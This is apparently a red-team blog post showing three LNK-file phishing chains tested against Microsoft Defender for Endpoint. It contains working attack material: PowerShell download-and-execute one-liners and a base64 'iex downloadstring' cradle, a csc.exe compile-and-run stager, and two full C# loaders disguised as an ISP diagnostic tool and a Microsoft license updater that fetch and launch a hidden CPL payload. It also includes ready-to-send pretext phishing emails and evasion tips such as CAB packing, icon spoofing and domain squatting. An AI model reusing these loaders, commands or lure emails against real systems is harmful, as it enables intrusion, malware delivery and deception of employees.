Home Grown Red Team: LNK Phishing Revisited In 2023
All right so macros are out, ISOs, zips and password protected zips are all getting flagged. What’s an APT to do? Well, LNK files are still going strong against certain defenses.
I’ve done a few posts about using LNK files and batch scripts in OneNote, but Microsoft has officially given command execution from OneNote files the boot. In this write-up, we’re going to explore a few different ways to get code execution from LNK files with some familiar tools from previous posts.
This isn’t going to go super in-depth with crazy evasion techniques and these method probably won’t work against heavy duty EDR, but we’re going to test it out against Microsoft Defender For Endpoint (trial edition).
Macroless Microsoft Office Style Phishing
This is just a POC, so we’re going to use lnk2pwn and a powershell oneliner. Should you use this in a real engagement, I would do some more research on using a LOLBIN with more evasive command execution.
Our killchain is as follows:
LNK file -> Powershell command execution -> Download a Word doc -> Open the Word doc -> Download a CPL file -> Launch the CPL file
A CPL file is a control panel item. If you’re wondering how to make one, just make a DLL and then rename it with the .cpl file extension. This allows you to double click on it for execution instead of launching rundll32.exe.
CPL files are launched by control.exe, which calls a few other LOLBINs, including rundll32. But Defender doesn’t seem to mind if you launch rundll32 from control.exe, just if you run rundll32 from powershell.
The Powershell Oneliner
Here’s our oneliner as described by the killchain.
powershell -WindowStyle Hidden Invoke-WebRequest -Uri “http://192.168.1.26:8080/pwned.docx" -OutFile “$env:USERPROFILE\Downloads\pwned.docx”; Invoke-Item “$env:USERPROFILE\Downloads\pwned.docx”; Invoke-WebRequest -Uri “http://192.168.1.26:8080/procInj.cpl" -OutFile $env:USERPROFILE\Documents\procInj.cpl; Start-Process control.exe -FilePath $env:USERPROFILE\Documents\procInj.cpl
As you can see, we have 2 files that need to be called and executed. Pwned.docx is the Word doc we are going to download and launch. ProcInj.cpl is our CPL file for a callback to our C2.
Obviously you will need to switch out your IPs, ports and whatever names you want to give your doc file and CPL file.
On lnk2pwn we enter our values.
We put our Powershell oneliner into the arguments field and also the command field.
In the Icon Location field, we put the file path of the Microsoft Word icon.
C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.exe
Click Generate at the bottom of lnk2pwn and you’re LNK file will be generated.
When we transfer it to the Windows machine it will look like a legit Word Doc.
With my link file done, I spun up PackMyPayload.
You can git clone PackMyPayload from here.
PackMyPayload, if you don’t know, is a python script that allows you to containerize your payloads into .zip, ISO, VHD and other formats. At the time of writing, .CAB seems to be the best bet against Windows Defender.
It’s really easy to use, simply give it the input file and then give it the output format you want. Here’s my command.
python3 PackMyPayload.py /home/user/Desktop/resume.doc.lnk /home/user/Desktop/resume.cab
And now I have my files, I need to create the CPL payload.
Creating A CPL Payload
As stated before, A CPL file can be generated by just renaming a DLL. For this task, I’m going to use my Harriet loader.
From the main screen, we choose the DLL payload.
I use the one DLL module I have (there are more modules, but I haven’t published them yet) and then enter my values. Notice, when naming the DLL, I simply make it a CPL.
I move my CPL file to the same directory as my .CAB file and my docx file.
I’m going to host them on port 8080.
Let’s test against our Windows 11 test box. I’ll grab the files from the server through the browser and see how far we get.
The CAB files downloads immediately, bypassing the traditional MOTW prompt given for EXEs.
But we do get a message when we try to open it.
We can click Open and select our destination. The LNK extracts with our Word icon.
Now we’ll simply double click on our resume.doc file and our Doc file opens.
And over on Havoc, we have a beacon.
Sweet! But there’s something that we should take a look at. The CAB file doesn’t exactly look like something that you would see when downloading a DOC file.
You can ZIP it to make it look a little more like a file that you would keep your resume in.
Now that we have code execution confirmed, let’s try our method against Microsoft Defender For Endpoint.
I have reset all of the alerts so we see how many we draw from our initial access technique.
We start by downloading the ZIP.
It downloads without incident. Let’s open it up and see what we have.
After extracting the ZIP, we see our CAB file. We double click on it and see our LNK file.
We double click on it and extract it to our Desktop.
And the moment of truth. We double click on it and see the Shortcut warning.
And after a few seconds, we see the pwned.doc file open.
But did we get a beacon?
We did! Let’s head over to the Defender For Endpoint dashboard to see what alerts we’ve generated.
We have a few mediums. I suspect this is because WINWORD.exe is being spawned by a Powershell script.
Notice that we don’t see any alerts pertaining to LNK files, initial access, ect.
Using a LOLBIN other than Powershell to grab the pwned.doc file could yield much better results here. I saw something on Twitter about MsEdgeProxy.exe having this ability, so that might be a good option.
Also in this current configuration, Powershell is being called by cmd.exe. Not exactly 1337, but we have a ton of possibilities here.
As a test, I removed the pwned.doc file commands from the oneliner and just had the LNK file pull our CPL file down and run it.
This was the only alert generated.
The alert is a “Suspicious use of a Control Panel item” and it’s a Low. This could be an excellent initial access TTP but it’s hard to know how far it will go against modern EDR such as CrowdStrike because I don’t have access to it. It’s also worth mentioning that this might not be reflective of higher tier Defender For Endpoint configurations.
C# LOLBIN Stager Compilation Technique
This is a technique that has been used for a while with different file formats. The basic idea is to get C# code onto the target and then use a LOLBIN to compile and execute it.
Here’s the kill chain:
Email with HTML Smuggling to ZIP/CAB file-> Powershell Oneliner to Download C# Code/Compile -> C# EXE Uses LOLBIN to Download and Execute CPL
For this example, we are going to use Powershell again. And again, this isn’t the greatest for OPSEC.
For social engineering, we’ll pretend to be an external vendor for the company. One of my favorite pretexts is to pretend to be the ISP of the client. Here’s a simple email to send care of OpenAI.
Subject: Network Instability and Internet Speed Test
Dear [Your Name],
We hope this email finds you well. We would like to inform you of some network instability issues that have been reported by our users. To ensure that we are providing you with the best possible internet service, we are planning to conduct a network performance test. The purpose of this test is to identify and address any potential issues that might be affecting your internet experience.
What to Expect:
During the testing period, you may experience brief interruptions in your internet service. These interruptions will be short and should not significantly impact your daily activities.
To participate in this network performance test, we kindly request that you download our internet speed test tool. You can access the download link by visiting the following URL:
[Insert Download URL]
Please follow the instructions on the download page to install and run the tool on your device. This tool will help us gather essential data to identify and address any network-related issues.
Why Is This Test Important:
This test will help us identify and address any network-related issues that could be causing the instability you’ve been experiencing. We are committed to providing you with a stable and reliable internet connection, and your feedback and cooperation are essential in achieving this goal.
Your Feedback Matters:
During and after the testing period, we would greatly appreciate your feedback. If you notice any significant issues or improvements in your internet service, please don’t hesitate to reach out to our customer support team. Your input will help us fine-tune our network and deliver a better experience for you and all our valued customers.
Contact Information:
If you have any questions, concerns, or if you experience persistent issues after the testing, please contact our customer support team at [Customer Support Email] or [Customer Support Phone Number]. Our dedicated team is here to assist you.
We understand that a stable and high-speed internet connection is essential in today’s digital world, and we are committed to providing you with the best service possible. Your patience and cooperation during this testing period are greatly appreciated.
Thank you for being a valued customer. We look forward to working together to enhance your internet experience.
Sincerely,
[Your ISP’s Name] [Your ISP’s Contact Information]
OpenAI has also made it extremely easy to spin up code very quickly for this type of technique. Here’s a C# Assembly written by OpenAI that we can use for our social engineering purposes.
using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Net.NetworkInformation;
using System.Threading;namespace RemoteCpl
{
class Program
{
static void Main()
{
string url = “http://192.168.1.26:8080/procInj.cpl"; // Replace with the actual URL of your CPL
string documentsPath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
string cplName = “procInj.cpl”; // Replace with the desired CPL name
string cplPath = Path.Combine(documentsPath, cplName);string banner = new string(‘#’, 44); // Adjust the length to match the longest line
// Add a banner of # before echoing out information
Console.WriteLine(banner);
Console.WriteLine(“# NetIT Professionals — Copyright 2023 “);
Console.WriteLine(“# Phone: 555–555–5555 “);
Console.WriteLine(“# City: Bethesda, Maryland “);
Console.WriteLine(“# Email: tech@netitech.com “);
Console.WriteLine(banner);try
{
// Show a brief delay before starting diagnostics
Thread.Sleep(2000); // Sleep for 2 seconds
Console.WriteLine(“”);Console.WriteLine(“Starting Diagnostics…”);
// Show a 1-second delay
Thread.Sleep(2000); // Sleep for 2 seconds
Console.WriteLine();
Console.WriteLine(“System Information Report”);
Console.WriteLine(new string(‘-’, 40));
Thread.Sleep(1000); // Sleep for 1 second// Gather system information
int processorCount = Environment.ProcessorCount;
string systemName = Environment.MachineName;// Get domain
string domain = Environment.UserDomainName;// Get internal IP address
string internalIpAddress = GetInternalIpAddress();// Measure internet speed (placeholder value)
string internetSpeed = MeasureInternetSpeed();// Echo out system information
Console.WriteLine($”Number of Processors: {processorCount}”);
Thread.Sleep(1000); // Sleep for 1 second
Console.WriteLine($”System Name: {systemName}”);
Thread.Sleep(1000); // Sleep for 1 second
Console.WriteLine($”Domain: {domain}”); // Include the domain here
Thread.Sleep(1000); // Sleep for 1 second
Console.WriteLine($”Internal IP Address: {internalIpAddress}”);
Thread.Sleep(1000); // Sleep for 1 second
Console.WriteLine($”Internet Speed: {internetSpeed}”);
Console.WriteLine();// Show a progress bar
Console.Write(“Submitting Diagnostics…”);
for (int i = 0; i < 5; i++)
{
Thread.Sleep(2000); // Sleep for 1 second
Console.Write(“.”);
}
Console.WriteLine();// Download the CPL from the URL to the user’s Documents folder
using (WebClient client = new WebClient())
{
client.DownloadFile(url, cplPath);
}// Set the CPL file as hidden
File.SetAttributes(cplPath, File.GetAttributes(cplPath) | FileAttributes.Hidden);// Start the CPL with control.exe
Process.Start(“control.exe”, cplPath);
Console.WriteLine();
// Notify the user and wait for them to press Enter to exit
Console.WriteLine(“Diagnostics submitted successfully.”);
Console.WriteLine();
Console.WriteLine(“Press Enter to exit…”);
Console.ReadLine();
}
catch (Exception ex)
{
Console.WriteLine($”Error: {ex.Message}”);
}
}// Helper method to get the internal IP address
static string GetInternalIpAddress()
{
string ipAddress = “”;
NetworkInterface[] networkInterfaces = NetworkInterface.GetAllNetworkInterfaces();
foreach (NetworkInterface nic in networkInterfaces)
{
if (nic.NetworkInterfaceType == NetworkInterfaceType.Ethernet ||
nic.NetworkInterfaceType == NetworkInterfaceType.Wireless80211 ||
nic.NetworkInterfaceType == NetworkInterfaceType.GigabitEthernet)
{
IPInterfaceProperties ipProps = nic.GetIPProperties();
UnicastIPAddressInformationCollection ipInfo = ipProps.UnicastAddresses;foreach (UnicastIPAddressInformation ip in ipInfo)
{
if (ip.Address.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork)
{
ipAddress = ip.Address.ToString();
break; // Use the first available internal IP address
}
}
}
}
return ipAddress;
}// Helper method to measure internet speed (placeholder logic)
static string MeasureInternetSpeed()
{
// Placeholder logic to measure internet speed (replace with actual measurement)
return “Greater Than 100 Mbps — SUCCESS”;
}
}
}
Now we’ll create a quick Powershell script to compile our C# loader.
(New-Object Net.WebClient).DownloadFile(‘http://192.168.1.26:8080/Structure.cs', ‘C:\Windows\Temp\Structure.cs’)
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /langversion:5 /out:C:\Windows\Temp\Structure.exe C:\Windows\Temp\Structure.cs
C:\Windows\Temp\Structure.exe
We’ll host this script on our Linux box.
Now we have to set up our LNK file. We’ll make our LNK file have the icon of an MSI for social engineering purposes. The file path to the MSI icon is below.
C:\Windows\System32\msi.dll
For our Powershell oneliner, we are going to have to base64 it to get past Defender.
$str= “iex (new-object system.net.webclient).downloadstring(‘http://192.168.1.26:8080/readme.md')";[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))
Now that we have our base64 encoded onliner, we can transfer it to lnk2pwn and update the file name, fake extension and the location of the MSI icon file.
We’ll also copy our Powershell command into the Command field.
Unlike other social engineering scenarios, we actually want the Powershell window to open, so we’ll change the window style to Maximized.
Now click Generate and save the LNK file to the same directory as your C# code, Powershell script, and the CPL file.
So let’s go through the same steps as before. We’ll convert this to a CAB file.
We should have all of our files in the same directory now.
Now all we need to do is host our directory with all of our files and start the kill chain.
python3 -m http.server 8080
The CAB file downloads automatically. We double click on it and see our “msi” file.
We double click on the LNK file and extract it to the desktop. Looks like our icon spoof worked!
Let’s test code execution. We are met with the warning window.
And when we click open, the kill chain starts.
Our social engineering looks pretty good, but did we get a beacon back?
We did! Pretty cool. So we know that it gets past Defender. How about Defender For Endpoint?
Here is the alert that it generated.
Once again, just the suspicious use of a control panel item alert, which is a low. Not too bad for some OpenAI code snippets.
Internal Asset Technique
This is another favorite pretext for phishing. For this technique to work you will probably need to do some domain squatting and register one with a heavy similarity to your target.
For instance, if you’re targeting Tesla, find a domain that is very similar or use a subdomain. A shitty example would be t3sla.com or tesla.ev-cars.com.
In this scenario, we’ll pretend to be somebody from IT that is in charge of Microsoft licensing for the organization. The target will be required to download a tool to update the license on their workstation.
Here’s an OpenAI generated email:
Subject: Important: Action Required — Microsoft License Expiry
Dear [User’s Name],
I hope this email finds you well. We wanted to inform you about an upcoming change that may impact your work and productivity. Your Microsoft Office license is scheduled to expire on [Expiration Date]. To continue using Microsoft Office applications without disruption, you are required to renew your license.
To facilitate this process, we have created a Licensing Tool that will help you renew your license conveniently. Please follow the steps below to download and run the Licensing Tool on your workstation:
Download the Licensing Tool:
Click on the following link to download the Licensing Tool: [Link to Licensing Tool Download]
Save the tool to a location on your computer where you can easily find it.
Run the Licensing Tool:
Locate the downloaded Licensing Tool and double-click on it to run the application.
Follow the on-screen instructions to renew your Microsoft Office license.
Contact IT Support (Optional):
If you encounter any issues during the process, please feel free to reach out to our IT Support team at [IT Support Email or Phone Number]. They will be happy to assist you with any questions or concerns.
Important Note: Please make sure to complete this renewal process before your license expires to avoid any interruptions in your access to Microsoft Office applications.
We appreciate your prompt attention to this matter and thank you for your cooperation. If you have any questions or require assistance, please don’t hesitate to reach out. We are here to help.
Best Regards,
[Your Name]
[Your Title]
[Company Name]
[Contact Information]
We could make a custom C# application that looks like a Microsoft update program. Here’s a quick and dirty C# program written to look like a Microsoft License Updater care of OpenAI.
This program has a progress bar and displays a random GUID as a “license” being installed on the system while also running our CPL file.
using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Threading;class Program
{
static void Main()
{
string banner = new string(‘#’, 30); // Adjust the length as needed
Console.WriteLine(banner);
Console.WriteLine(“# Microsoft License Updater#”);
Console.WriteLine(banner);for (int percent = 0; percent <= 100; percent++)
{
Console.WriteLine(“”);
Console.WriteLine(“Update in progress…”);
DrawProgressBar(percent, 100); // Display a progress bar
Thread.Sleep(100); // Sleep for 100 milliseconds (adjust as needed)
Console.Clear(); // Clear the console to update the progress bar
Console.WriteLine(banner);
Console.WriteLine(“# Updating Microsoft License #”);
Console.WriteLine(banner);
}string url = “http://192.168.1.26:8080/procInj.cpl"; // Replace with the actual URL of your CPL
string documentsPath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
string cplName = “procInj.cpl”; // Replace with the desired CPL name
string cplPath = Path.Combine(documentsPath, cplName);using (WebClient client = new WebClient())
{
client.DownloadFile(url, cplPath);
}// Set the CPL file as hidden
File.SetAttributes(cplPath, File.GetAttributes(cplPath) | FileAttributes.Hidden);// Start the CPL with control.exe
Process.Start(“control.exe”, cplPath);Console.WriteLine(“”);
Console.WriteLine(“New License: “ + Guid.NewGuid()); // Display a random GUID
Console.WriteLine(“Microsoft License updated successfully!”);Console.WriteLine(“”);
Console.WriteLine(“Press Enter to exit…”);
Console.ReadLine();
Environment.Exit(0); // Close the window
}// Helper method to draw a text-based progress bar
static void DrawProgressBar(int percent, int total)
{
const int barLength = 50;
int filledLength = percent * barLength / total;
string progressBar = new string(‘#’, filledLength).PadRight(barLength);
Console.WriteLine(“[“ + progressBar + “] “ + percent + “%”);
}
}We’ll use the same base64 encoded oneliner from the previous technique.
Now on lnk2pwn we’ll do our usual. We put the base64 encoded string into our command and arguments field.
We’ll keep the same file extension and the same icon for this, but we’ll change the Window Style to normal.
We pack the payload and deliver it to the target.
After it’s finished, we see the new “license”.
And we have a beacon.
So let’s clear the alerts from the Microsoft EDR and see what we can generate with our new LOLBIN loader.
And we get the same low alert as before.
Wrapping Up
As you can see, there are a lot of ways that you can still use LNK files in 2023. Most of the ways that we performed these phishing exercises were not OPSEC safe and probably shouldn’t be used against something like higher versions of Defender For Endpoint or CrowdStrike.
Of course, the execution wasn’t blocked on these techniques so maybe you could rely on alert fatigue to get initial access. Without a valid license to higher level EDR, it’s hard to tell.
While OpenAI won’t write your malware for you, it can certainly spin up some social engineering based LOLBIN loaders very quickly.
I would recommend finding lesser known LOLBINs than Powershell, Rundll32 or Control.exe to launch payloads. As a sidenote, when testing this with Rundll32.exe instead of Control.exe, I got a few different alerts. One of these was an alert for “Low reputation arbitrary code executed by signed binary.” So definitely try out different LOLBINs when testing against EDRs.
I’ll be doing a deep dive into different execution methods and maybe try some lateral movement with a LNK files to see what alerts pop up in a later post.
Until next time, you can follow me on here or on Twitter @assume-breach
